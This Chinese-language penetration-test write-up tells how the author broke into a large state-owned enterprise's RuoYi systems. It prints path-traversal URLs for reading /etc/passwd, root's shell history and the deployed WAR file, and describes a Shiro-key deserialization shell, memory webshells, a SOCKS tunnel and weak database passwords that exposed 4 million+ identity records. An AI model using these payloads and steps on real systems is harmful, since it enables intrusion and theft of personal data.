前言

从一个注册接口到打穿内网再到找到大量敏感信息。记录一下这次曲折且幸运的测试

目标是一家大型国企,打完发现里面有400w+身份证、手机号 [doge]


资产打点

前期拿到主域通过搜集子域找到了一堆Ruoyi的系统:

随便找几个访问,发现是很经典低版本的Ruoyi,并且填上了账号密码admin admin123:

但是密码登录失败

一般低版本Ruoyi系统都存在Shiro 默认key的漏洞,用检测工具可以打,但是这个系统改了key,通过爆破也找不到key

这个时候就有点懵逼了,只好看下别的ruoyi系统会不会有洞。

漏洞发现

然后刚好测试到下面这个站:

看了眼源码,发现了一段注册接口的注释,路由/register

这个时候赶紧去访问,发现确实能注册用户!!


(后续测试别的ruoyi系统发现只有我这个系统能注册用户,别的站能访问注册页面但是没有权限注册)

这个时候就进入后台了,但是没有什么功能点

但是因为有了Cookie,所以很多Ruoyi的历史漏洞都可以测试了(很多漏洞都需要后台Cookie才能测),所以这里就用工具测试了下有哪些漏洞。

任意文件读取

发现存在CNVD-2021-01931 任意文件读取漏洞

访问接口读取/etc/passwd

/common/download/resource?resource=/profile/../../../../../../../etc/passwd

并且用户权限很高,/root/的目录所有文件都能读取,那么第一步肯定是看root的历史记录:

/common/download/resource?resource=/profile/../../../../../../../root/.bash_history

日志如下:

#1713754877
ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
#1713754878
date
#1713754897
yum install -y kde-l10n-Chinese
#1713754943
yum reinstall -y glibc-common
#1713754952
localedef -c -f UTF-8 -i zh_CN zh_CN.UFT-8
#1713754957
locale -a
#1713755138
cd data/software/
#1713755139
ls
#1713755146
cp -rf /data/software/jdk1.8 /data
#1713755150
cp -rf /data/software/tomcat-8.5.100 /data
#1713755155
cd /data/
#1713755155
ls
#1713755168
cd /usr/share/
#1713755174
mkdir fonts
#1713755177
cd fonts/
#1713755184
mkdir chinese
#1713755187
cd chinese/
#1713755196
mkdir TrueType
#1713755197
ls
#1713755201
cd /data/
#1713755207
cp /data/software/MSYH.TTF /usr/share/fonts/chinese/TrueType
#1713755211
cp /data/software/MSYHBD.TTF /usr/share/fonts/chinese/TrueType
#1713755222
cd /usr/share/fonts/chinese/TrueType/
#1713755222
ls
#1713755225
cd /data/
#1713755231
yum install mkfontscale
#1713755238
mkfontscale
#1713755243
mkfontdir
#1713755249
yum install fontconfig
#1713755258
fc-cache -fv
#1713755265
vi /etc/profile
#1713755296
source /etc/profile
#1713755301
cd /data
#1713755357
chmod -R 777 jdk1.8/
#1713755362
chmod -R 777 tomcat-8.5.100/
#1713755364
ls
#1713755369
java -version
#1713755376
touch start.sh
#1713755379
ls
#1713755386
chmod 777 start.sh
#1713755391
vi start.sh
#1713755413
exit
ls
cd data/
ls
exit
cd /data/
ls
cat /etc/profile
ls
cat start.sh
vi start.sh
exit

思路(翻日志)

其实没有给特别好的信息,但是好在我们知道了tomcat的绝对路径/data/tomcat-8.5.100/ 也知道了这个站是用tomcat搭的Ruoyi系统。

扫过端口只有网页端口开放,且没有tomcat默认页(/manager/html用不了),所以当时的思路就是通过找到ruoyi.jar包,再解包得到里面的配置信息,里面会记录shiro key值,最后我们再用Shiro来getshell。

百度了下tomcat咋部署若依,发现其路径就是在tomcat/webapps的某个.war包

那么当下最要紧的事情就是找到tomcat的日志,找到这个包的包名。

tomcat常见日志文件:

/logs/catalina.out
/logs/catalina.Y-M-D.log
/logs/manager.Y-M-D.log
/logs/host-manager.Y-M-D.log
/logs/localhost_access_log.Y-M-D.txt

当时我只测了logs/catalina.out,发现不存在!!

转折

当时发现日志没有就在找别的办法,所以是有测试过这些其他的日志名+日期的,然后发现找不到直接挫败了,于是乎我就搜tomcat日志的配置文件,尝试找到其后缀,但是一套操作下来发现还是找不到。。

后面我找到了/conf/service.xml,发现了这么一段内容:

找到了localhost日志的后缀,因为当时还没想到fuzz 上面tomcat的日志名的思路嘛,然后看到这个直接就有想法了,构造了localhost_access_log.2024-05-24.txt,然后访问,我去真有!!

直接点燃信心了好吧,然后翻阅内容就是一些访问记录,有泄露内网IP和接口,没什么大用

找到关键信息(劳大发力)

(这里日期我随便填了个24,后面打进去我找logs文件夹下的日志文件,我发现我这随手一填的数字构造的日志名,是所有日志文件里唯一的一份!!太欧了。。劳大也在帮助我!!)
(MAN!)

然后就有思路了呀,因为5月24日的日志有了,那肯定catalina.out也有,然后这个时候就找到了tomcat的常见日志名,逐个fuzz了一下 最终找到了文件:logs/catalina.2024-05-24.log

这可是好东西呀,里面给了很多有用的信息

24-May-2024 14:16:02.717 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log Server.服务器版本: Apache Tomcat/8.5.100
24-May-2024 14:16:02.722 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 服务器构建: Mar 19 2024 13:54:42 UTC
24-May-2024 14:16:02.722 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 服务器版本号: 8.5.100.0
24-May-2024 14:16:02.722 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 操作系统名称: Linux
24-May-2024 14:16:02.722 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log OS.版本: 4.18.0-477.10.1.el8_8.x86_64
24-May-2024 14:16:02.722 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 架构: amd64
24-May-2024 14:16:02.723 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log Java 环境变量: /data/jdk1.8/jre
24-May-2024 14:16:02.723 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log Java虚拟机版本: 1.8.0_301-b09
24-May-2024 14:16:02.723 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log JVM.供应商: Oracle Corporation
24-May-2024 14:16:02.723 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_BASE: /data/tomcat-8.5.100
24-May-2024 14:16:02.723 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_HOME: /data/tomcat-8.5.100
24-May-2024 14:16:02.723 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数: -Djava.util.logging.config.file=/data/tomcat-8.5.100/conf/logging.properties
24-May-2024 14:16:02.723 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数: -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
24-May-2024 14:16:02.723 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数: -Djdk.tls.ephemeralDHKeySize=2048
24-May-2024 14:16:02.724 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数: -Djava.protocol.handler.pkgs=org.apache.catalina.webresources
24-May-2024 14:16:02.724 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数: -Dorg.apache.catalina.security.SecurityListener.UMASK=0027
24-May-2024 14:16:02.724 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数: -Dignore.endorsed.dirs=
24-May-2024 14:16:02.724 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数: -Dcatalina.base=/data/tomcat-8.5.100
24-May-2024 14:16:02.724 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数: -Dcatalina.home=/data/tomcat-8.5.100
24-May-2024 14:16:02.724 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数: -Djava.io.tmpdir=/data/tomcat-8.5.100/temp
24-May-2024 14:16:02.724 信息 [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent 在java.library.path:[/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib]上找不到基于APR的Apache Tomcat本机库,该库允许在生产环境中获得最佳性能
24-May-2024 14:16:02.949 信息 [main] org.apache.coyote.AbstractProtocol.init 初始化协议处理器 ["http-nio-8080"]
24-May-2024 14:16:02.977 信息 [main] org.apache.catalina.startup.Catalina.load Initialization processed in 943 ms
24-May-2024 14:16:03.027 信息 [main] org.apache.catalina.core.StandardService.startInternal 正在启动服务[Catalina]
24-May-2024 14:16:03.027 信息 [main] org.apache.catalina.core.StandardEngine.startInternal 正在启动 Servlet 引擎:[Apache Tomcat/8.5.100]
24-May-2024 14:16:03.066 信息 [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployWAR 正在部署web应用程序存档文件[/data/tomcat-8.5.100/webapps/ROOT.war]
24-May-2024 14:16:04.606 警告 [localhost-startStop-1] org.apache.tomcat.util.descriptor.web.WebXml.setVersion 未知版本字符串 [4.0]。将使用默认版本。
24-May-2024 14:16:04.730 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/fonts/fontawesome-webfont.svg]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.731 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/fonts/fontawesome-webfont.eot]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.732 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/fonts/glyphicons-halflings-regular.eot]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.732 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/fonts/glyphicons-halflings-regular.svg]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.732 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/fonts/fontawesome-webfont.woff]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.733 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/images/delete.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.734 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/images/loading.gif]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.734 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/images/se-handle-dark.gif]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.734 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/images/shapemenu_highlight.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.735 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/images/bpmn-error.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.735 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/images/bpmn-warning.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.736 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/images/nw-handle-dark.gif]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.736 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/images/pencil.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.736 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/images/report_edit.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.737 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/images/wrench.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.737 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/remove-bendpoint-hover.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.738 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/grid.gif]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.738 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-align-horizontal-selected.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.738 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-align-vertical.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.739 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-same-size-selected.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.739 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-zoom-actual.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.739 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/kis_logo.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.740 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/add-bendpoint-hover.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.740 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-add-bendpoint-selected.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.740 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-align-horizontal.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.741 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-remove-bendpoint-selected.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.741 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-same-size.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.741 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-zoom-fit-selected.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.742 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/remove-bendpoint.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.742 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/add-bendpoint.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.742 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-add-bendpoint.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.742 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-align-vertical-selected.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.743 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-remove-bendpoint.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.743 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-zoom-actual-selected.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.743 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/img-kis/icon-zoom-fit.png]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.744 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/libs/ui-utils.min-0.2.1.js]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.744 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/libs/jquery.autogrow-textarea.js]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.745 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/libs/update-helper.js]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.745 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/libs/prototype-1.7.3.js]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.745 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/libs/path_parser.js]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.745 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/libs/prototype-1.6.1.js]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.746 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/libs/mousetrap/1.6.0]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.746 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/libs/mousetrap/1.6.0/mousetrap-record.js]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.746 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/libs/mousetrap/1.6.0/mousetrap.min.js]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.747 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/libs/mousetrap/1.6.0/mousetrap.js]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.747 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/partials/stencil-item-template.html]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.747 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/partials/process-tree-list.html]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.748 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/partials/root-stencil-item-template.html]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.748 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/popups/unsaved-changes.html]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.749 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/popups/select-shape.html]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.749 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/popups/save-model.html]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.749 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/popups/define-data.html]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.749 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/popups/validate-model.html]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.750 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/popups/icon-template.html]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.750 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/stencilsets/bpmn2.0]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.750 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/stencilsets/cmmn1.1]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.751 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/stencilsets/xforms]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.751 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/stencilsets/bpmn2.0/icons]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:04.752 警告 [localhost-startStop-1] org.apache.catalina.webresources.Cache.getResource 无法将位于[/WEB-INF/classes/static/modeler/editor-app/stencilsets/bpmn2.0/icons/activity]的资源添加到Web应用程序[]的缓存中,因为在清除过期缓存条目后可用空间仍不足 - 请考虑增加缓存的最大空间。
24-May-2024 14:16:11.879 信息 [localhost-startStop-1] org.apache.jasper.servlet.TldScanner.scanJars 至少有一个JAR被扫描用于TLD但尚未包含TLD。 为此记录器启用调试日志记录,以获取已扫描但未在其中找到TLD的完整JAR列表。 在扫描期间跳过不需要的JAR可以缩短启动时间和JSP编译时间。
24-May-2024 14:16:24.386 信息 [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployWAR web应用程序存档文件[/data/tomcat-8.5.100/webapps/ROOT.war]的部署已在[21,318]ms内完成
24-May-2024 14:16:24.388 信息 [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployDirectory 把web 应用程序部署到目录 [/data/tomcat-8.5.100/webapps/manager]
24-May-2024 14:16:24.420 信息 [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployDirectory Web应用程序目录[/data/tomcat-8.5.100/webapps/manager]的部署已在[32]毫秒内完成
24-May-2024 14:16:24.420 信息 [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployDirectory 把web 应用程序部署到目录 [/data/tomcat-8.5.100/webapps/docs]
24-May-2024 14:16:24.433 信息 [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployDirectory Web应用程序目录[/data/tomcat-8.5.100/webapps/docs]的部署已在[13]毫秒内完成
24-May-2024 14:16:24.433 信息 [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployDirectory 把web 应用程序部署到目录 [/data/tomcat-8.5.100/webapps/host-manager]
24-May-2024 14:16:24.451 信息 [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployDirectory Web应用程序目录[/data/tomcat-8.5.100/webapps/host-manager]的部署已在[18]毫秒内完成
24-May-2024 14:16:24.451 信息 [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployDirectory 把web 应用程序部署到目录 [/data/tomcat-8.5.100/webapps/examples]
24-May-2024 14:16:24.585 信息 [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployDirectory Web应用程序目录[/data/tomcat-8.5.100/webapps/examples]的部署已在[134]毫秒内完成
24-May-2024 14:16:24.594 信息 [main] org.apache.coyote.AbstractProtocol.start 开始协议处理句柄["http-nio-8080"]
24-May-2024 14:16:24.614 信息 [main] org.apache.catalina.startup.Catalina.start Server startup in 21636 ms

直接就给了war包的路径/data/tomcat-8.5.100/webapps/ROOT.war(当时看到这个一刻就在想,当时咋就不试下ROOT.war呢?省了两个小时翻日志的垃圾时间)

这个时候我已经在笑了hh。。

构造url下载这个文件 大小有100多MB

/common/download/resource?resource=/profile/../../../../../../../data/tomcat-8.5.100/webapps/ROOT.war

然后解压到本地分析,其他路径都是编写类的java文件直接忽略不看,主要看这个路径

/ROOT/WEB-INF/classes

里面包含了配置、模板静态文件

Getshell + 内网横向拿下3台机子

这个时候找到application.yml和application-druid.yml ,里面就有我们千辛万苦想找的Shiro key了!!

然后还有数据库账号密码和SMTP邮箱账号密码

之后就是拿Shiro工具填上密钥一把梭!!这里要记得勾上 AES GCM 这个选项,否则会打不通。

然后这个shiro工具刚好可以注入内存马,还可以注入Neo-regeorg马,建立socks5。这个时候先是注的冰蝎、然后再用Neo-regeorg代理个socks5出来

Neo-regeorg:

这个机子是10.88.0.24,通过之前读日志能发现主内网IP段在10.10.103.0/24,所以这个时候用neo弄个socks5隧道,通过隧道去测试10.10.103.0/24网段

然后再上传fscan扫那个网段,后面是扫出来2个mssql弱口令和1个mysql弱口令,mysql数据库里面藏着400w+的敏感信息。

